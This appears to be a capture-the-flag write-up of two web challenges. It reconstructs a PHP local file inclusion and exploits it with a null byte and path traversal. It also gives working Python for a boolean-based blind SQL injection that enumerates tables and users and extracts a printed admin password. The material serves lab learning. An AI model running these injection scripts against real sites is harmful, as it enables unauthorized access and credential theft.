This page looks best with JavaScript enabled

H@cktivityCon CTF

 ·  ☕ 4 min read

Bite [Web]

Want to learn about binary units of information? Check out the “Bite of Knowledge” website!

The challenge shows the following webpage:
Web interface

The only feature that seems available are some articles. If we take a look of how it gets treated it adds a GET parameter and the name of the article:
Web article

Then tried adding the flag page which is not listed but may exist and got the following:
Flag.php

The backend is executing something similar to:

1
2
3
<?php
    include("includes/".$_GET['param1'].".php");
?>

Then added a NULL Byte (%00) and tried with some traversal paths until got the flag:
Flag.txt

Waffle Land [Web]

We got hacked, but our waffles are now safe after we mitigated the vulnerability.

The challenge shows the following webpage:
Web interface

Looking for SQL Injection found one in the search bar. Here I’m making the query TRUE with ' AND 1=1 -- -:
Web interface

On the other side here there is a query making it FALSE with ' AND 1=2 -- -. Hence not showing any product:
Web interface

So created a script to enumerate the database blindly boolean based. Started by checking what is the length of the response when the query is TRUE and when is FALSE:

1
2
3
url = "http://jh2i.com:50024/"
min_size = len(requests.get(url, params={'search': """' AND 1=2 -- -"""}).content)
max_size = len(requests.get(url, params={'search': """' AND 1=1 -- -"""}).content)

Then created a small function to check if a query was successful or not:

1
2
3
4
5
6
7
8
def check_query(query):
    query_size = len(requests.get(url, params={'search': f"""' {query} -- -"""}).content)
    if query_size == max_size:
        return True
    elif query_size == min_size:
        return False
    else:
        return None

Using check_query() enumerated the tables of the DB:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
def get_tables():
    tables = []
    partial_tables = []
    for char in string.ascii_lowercase + string.digits + "#" + "$" + "-" + "." + "{" + "}" + " " + "(" + ")":
        if check_query(f"""AND 1 == (SELECT count(*) FROM sqlite_master WHERE type='table' AND name LIKE "{char}%")"""):
            partial_tables.append(char)
    
    while partial_tables:
        current_name = partial_tables.pop()
        match = False
        for char in string.ascii_lowercase + string.digits + "#" + "$" + "-" + "." + "{" + "}" + " " + "(" + ")":
            if check_query(f"""AND 1 == (SELECT count(*) FROM sqlite_master WHERE type='table' AND name LIKE "{current_name + char}%")"""):
                partial_tables.append(current_name + char)
                match = True
        if(not match):
            tables.append(current_name)
    return tables
#   ['user', 'product']

After that enumerated the column fields in those two tables:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
def get_columns(table):
    partial_field = []
    fields = []
    for char in string.ascii_lowercase + string.digits + "#" + "$" + "-" + "." + "{" + "}" + " " + "(" + ")":
        if check_query(f"""AND 0 < (SELECT count(*) FROM PRAGMA_TABLE_INFO("{table}") WHERE name LIKE "{char}%" )"""):
            partial_field.append(char)
    while partial_field:
        current_name = partial_field.pop()
        match = False
        for char in string.ascii_lowercase + string.digits + "#" + "$" + "-" + "." + "{" + "}" + " " + "(" + ")":
            if check_query(f"""AND 0 < (SELECT count(*) FROM PRAGMA_TABLE_INFO("{table}") WHERE name LIKE "{current_name + char}%" )"""):
                partial_field.append(current_name + char)
                match = True
        if(not match):
            fields.append(current_name)
    return fields
#    user = ['username', 'password', 'id']
#    product = ['prize', 'name', 'image', 'id', 'description']

As all product fields are being shown thought that wouldn’t be interesting. Instead enumerated the usernames:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
def get_users():
    partial_username = []
    usernames = []
    for char in string.ascii_lowercase + string.digits + "#" + "$" + "-" + "." + "{" + "}" + " " + "(" + ")":
        if check_query(f"""AND 0 < (SELECT count(*) FROM user WHERE username LIKE "{char}%")"""):
            partial_username.append(char)
    while partial_username:
        current_name = partial_username.pop()
        match = False
        for char in string.ascii_lowercase + string.digits + "#" + "$" + "-" + "." + "{" + "}" + " " + "(" + ")":
            if check_query(f"""AND 0 < (SELECT count(*) FROM user WHERE username LIKE "{current_name + char}%")"""):
                partial_username.append(current_name + char)
                print(partial_username)
                match = True
        if(not match):
            usernames.append(current_name)
            print(usernames)
    return usernames
#   ['admin']

There is only one user called admin so got the password. This time instead of using LIKE (which is case insensitive) had to use SUBSTR():

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
def get_password(user):
    password = ""
    i = 1
    while True:
        for char in '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&()*+,-./:;<=>?@[]^_`{|}~':
            if check_query(f"""AND "{char}" = SUBSTR((SELECT password FROM user WHERE username = "admin"),{i},1)"""):
                password += char
                break
        i = i + 1
        if len(password) + 1 < i:
            break
    return password
#   NT7b#ed4$J?eZ#m_

Finally logged in with the admin credentials:
Web interface

Share on

ITasahobby
WRITTEN BY
ITasahobby
InTernet lover